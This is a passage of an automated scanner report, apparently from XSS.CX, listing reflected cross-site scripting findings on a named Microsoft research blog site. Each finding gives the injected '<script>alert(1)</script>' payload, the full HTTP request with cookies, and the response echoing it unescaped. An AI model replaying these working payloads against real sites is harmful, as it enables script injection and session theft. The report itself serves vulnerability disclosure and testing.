<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/11/01/expanding-the-nerd-community-team66156\"><script>alert(1)</script>1f41a8a7919/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.46. http://microsoftcambridge.com/blog/site/2010/11/01/expanding-the-nerd-community-team/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6812"><script>alert(1)</script>00ce98ea1d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f6812\"><script>alert(1)</script>00ce98ea1d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/11/01/expanding-the-nerd-community-team/?f6812"><script>alert(1)</script>00ce98ea1d=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:10:25 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29804
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/11/01/expanding-the-nerd-community-team/?f6812\"><script>alert(1)</script>00ce98ea1d=1&title=Expanding the NERD Community Team | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2191b"><script>alert(1)</script>72265b2d66 was submitted in the REST URL parameter 7. This input was echoed as 2191b\"><script>alert(1)</script>72265b2d66 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/11/01/expanding-the-nerd-community-team/feed2191b"><script>alert(1)</script>72265b2d66/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:10:55 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:10:58 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23645
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/11/01/expanding-the-nerd-community-team/feed2191b\"><script>alert(1)</script>72265b2d66/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4835"><script>alert(1)</script>65e0b9c39e1 was submitted in the REST URL parameter 3. This input was echoed as a4835\"><script>alert(1)</script>65e0b9c39e1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/feeda4835"><script>alert(1)</script>65e0b9c39e1/ HTTP/1.1 Host: microsoftcambridge.com Proxy-Connection: keep-alive Referer: http://microsoftcambridge.com/Events/tabid/57/Default.aspx X-Requested-With: XMLHttpRequest Accept: application/xml, text/xml, */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B
Response
HTTP/1.1 404 Not Found Server: Apache/2.2 Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Date: Sat, 20 Nov 2010 15:10:16 GMT X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Pragma: no-cache Connection: Keep-Alive Last-Modified: Sat, 20 Nov 2010 15:10:20 GMT Content-Length: 23381
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/feeda4835\"><script>alert(1)</script>65e0b9c39e1/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a32ac"><script>alert(1)</script>f645be758bf was submitted in the REST URL parameter 3. This input was echoed as a32ac\"><script>alert(1)</script>f645be758bf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/filesa32ac"><script>alert(1)</script>f645be758bf/2010/05/deval_patrick_microsoft.wmv HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:07 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:09 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23597
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/filesa32ac\"><script>alert(1)</script>f645be758bf/2010/05/deval_patrick_microsoft.wmv&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
Report generated by XSS.CX at Sat Nov 20 09:20:13 CST 2010.